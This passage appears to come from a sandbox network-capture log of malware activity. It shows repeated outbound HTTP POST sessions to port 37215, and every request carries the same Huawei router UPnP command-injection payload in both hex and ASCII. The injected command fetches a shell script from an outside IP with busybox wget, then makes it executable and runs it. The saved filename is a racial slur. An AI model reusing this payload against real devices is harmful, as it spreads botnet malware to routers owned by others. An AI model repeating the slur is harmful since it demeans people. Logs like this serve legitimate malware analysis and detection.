+x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.228490114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	53978	45.41.93.17	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.990920067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.055202007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:12.198306084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.228482008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	47212	45.195.123.2	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:02.182122946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.310946941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:12.454155922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.484575987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
